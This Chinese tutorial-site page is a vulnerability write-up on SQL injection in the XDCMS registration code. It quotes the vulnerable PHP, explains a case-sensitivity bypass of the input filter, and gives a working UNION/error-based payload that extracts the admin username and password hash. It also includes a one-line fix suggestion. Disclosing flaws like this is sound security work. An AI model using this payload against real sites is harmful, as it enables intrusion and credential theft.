网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

XDCMS企业管理系统SQL注入#1 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 14:59 作者: 阅读:

[导读] 最新版XDCMS企业管理系统,由于过滤不严,可绕过限制,导致多处SQL注入注入在XDCMS企业管理系统的注册功能处,来看看 system modules member index php文件:注册时会调用register_save,问题就出...

最新版XDCMS企业管理系统,由于过滤不严,可绕过限制,导致多处SQL注入
 
注入在XDCMS企业管理系统的注册功能处,来看看\system\modules\member\index.php文件:
 
注册时会调用register_save,问题就出在index.php的register_save函数处:
 
public function register_save(){

$username=safe_html($_POST['username']);//获取UserName,这里用safe_html函数进行过滤

$password=$_POST['password'];

$password2=$_POST['password2'];

$fields=$_POST['fields'];

if(empty($username)||empty($password2)||empty($password)){

showmsg(C('material_not_complete'),'-1');

}

if(!strlength($username,5)){

showmsg(C('username').C('str_len_error').'5','-1');

}

if(!strlength($password,5)){

showmsg(C('password').C('str_len_error').'5','-1');

}

if($password!=$password2){

showmsg(C('password_different'),'-1');

}

$password=md5(md5($password));



$user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`='$username'");//判断会员是否存在,这里的UserName可被绕过过滤,导致注入,这是第一处SQL注入

if($user_num>0){

showmsg(C('member_exist'),'-1');

}

$ip=safe_replace(safe_html(getip()));

$this->mysql->db_insert('member',"`username`='".$username."',`password`='".$password."',`creat_time`='".datetime()."',`last_ip`='".$ip."',`is_lock`='0',`logins`='0',`groupid`='1'");//插入主要字段——用户名、密码,这里的UserName同意造成注入,第二处sql注入

$last_id=$this->mysql->insert_id();



//插入附属字段

$field_sql='';

foreach($fields as $k=>$v){

$f_value=$v;

if(is_array($v)){

$f_value=implode(',',$v);

}

$field_sql.=",`{$k}`='{$f_value}'";//这里没有过滤,直接进入了下面的update sql语句,导致第三处sql注入

}

$field_sql=substr($field_sql,1);

$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}";

$query=$this->mysql->query($field_sql);



showmsg(C('register_success'),'index.php?m=member&f=register');

}


 

 
 
 
第一处sql注入,注册一个用户,然后抓包:
 
最后看看结果,成功拿到了管理的用户名密码:
 
 

在safe_html处虽然过了个SQL注入的敏感词,还过滤了=和*,但是没有考虑SQL注入敏感词的大小写,这里只过滤了小写,那么我们用大写绕过,这里过滤的=和*,我们可以使用不带*和=的常规保存SQL注入语句,EXP如下:
 
在UserName处输入:
 
' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 FROM (SELECT count(1),concat(round(rand(0)),(SELECT concat(username,0x23,password) FROM c_admin LIMIT 0,1))a FROM information_schema.tables GROUP by a)b#
 
 
修复方案:
过滤严格,增强safe_html的过滤规则

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论